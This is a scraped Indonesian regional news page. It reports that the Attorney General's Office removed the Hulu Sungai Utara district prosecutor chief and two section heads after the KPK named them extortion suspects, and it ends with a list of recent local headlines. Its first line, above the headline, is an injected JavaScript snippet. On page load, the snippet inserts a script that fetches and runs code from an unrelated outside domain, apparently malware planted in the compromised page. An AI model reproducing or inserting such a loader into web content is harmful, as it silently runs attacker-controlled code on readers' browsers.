(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kejagung Copot Jabatan Kajari dan 2 Kasi Kejari HSU


KANALKALIMANTAN.COM, JAKARTA – Kejaksaan Agung (Kejagung) memberhentikan sementara kepala Kejaksaan Negeri (Kajari) Albertinus Parlinggoman Napitupulu, Kepala Seksi Intelijen (Kasi Intel) Asis Budianto, dan Kepala Seksi Perdata dan Tata Usaha Negara (Kasi Datun) Kejari Kabupaten Hulu Sungai Utara (HSU), Tri Taruna Fariadi.

Langkah ini diambil setelah ketiga jaksa karier itu ditetapkan sebagai tersangka dugaan pemerasan oleh Komisi Pemberantasan Korupsi (KPK).

Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejagung, Anang Supriatna, mengatakan ketiganya telah dicopot dari jabatan dan dinonaktifkan sementara sebagai aparatur sipil negara (ASN) Kejaksaan.

Baca juga: 1.063 Santri Khataman Al Qur’an, Ini Pesan Wabup Balangan

“Sudah dicopot dari jabatannya dan dinonaktifkan sementara status PNS pegawai kejaksaan sampai mendapatkan putusan pengadilan yang berkekuatan hukum tetap atau inkrah,” ujar Anang di Jakarta, Minggu (21/12/2025).

Kapuspenkum Kejagung, Anang Supriatna. Foto: Beritasatu.com/Muhammad Aulia Rahman

Dengan status pemberhentian sementara tersebut, ketiga pejabat Kejari HSU itu tidak lagi menerima gaji maupun tunjangan selama proses hukum berjalan.

Anang menegaskan Kejaksaan tidak akan melakukan intervensi terhadap proses hukum yang sedang ditangani KPK dan menyerahkan sepenuhnya penanganan perkara kepada aparat penegak hukum yang berwenang.

Diketahui, KPK menetapkan Kajari Hulu Sungai Utara Albertinus Parlinggoman Napitupulu (APN), Kasi Intel Asis Budianto (ASB), dan Kasi Datun Tri Taruna Fariadi (TAR) sebagai tersangka kasus dugaan tindak pidana korupsi berupa pemerasan dalam penegakan hukum di Kejari HSU untuk tahun anggaran 2025-2026.

Baca juga: Danantara-BUMN Salurkan Bantuan Kemanusiaan untuk Pemulihan Pascabencana Aceh

 

Albertinus dan Asis telah ditahan oleh KPK, sedangkan Tri Taruna Fariadi masih buron karena diduga melarikan diri saat KPK melakukan operasi tangkap tangan (OTT).

Pelaksana Tugas Deputi (Plt) Penindakan dan Eksekusi KPK, Asep Guntur Rahayu, mengungkapkan  Albertinus diduga menerima uang hasil tindak pidana korupsi hingga Rp 1,5 miliar. Dana tersebut diduga berasal dari pemerasan, pemotongan anggaran Kejari HSU, serta penerimaan tidak sah lainnya.

Untuk praktik pemerasan, Asep menjelaskan Albertinus menerima uang hingga Rp 804 juta pada  periode November-Desember 2025 melalui dua perantara, yakni Asis Budianto dan Tri Taruna Fariadi. Sementara pemotongan anggaran Kejari HSU dilakukan melalui bendahara dan diduga digunakan sebagai dana operasional pribadi.

Baca juga: Perayaan Natal Bersama di GKE Desa Manusup

Kasus ini menjadi perhatian publik karena melibatkan pimpinan dan pejabat struktural kejaksaan, sekaligus menegaskan komitmen penegakan hukum terhadap praktik korupsi di internal aparat penegak hukum. (Kanalkalimantan.com/BeritaSatu)

Editor: kk


Risa

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

7 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

12 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

12 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.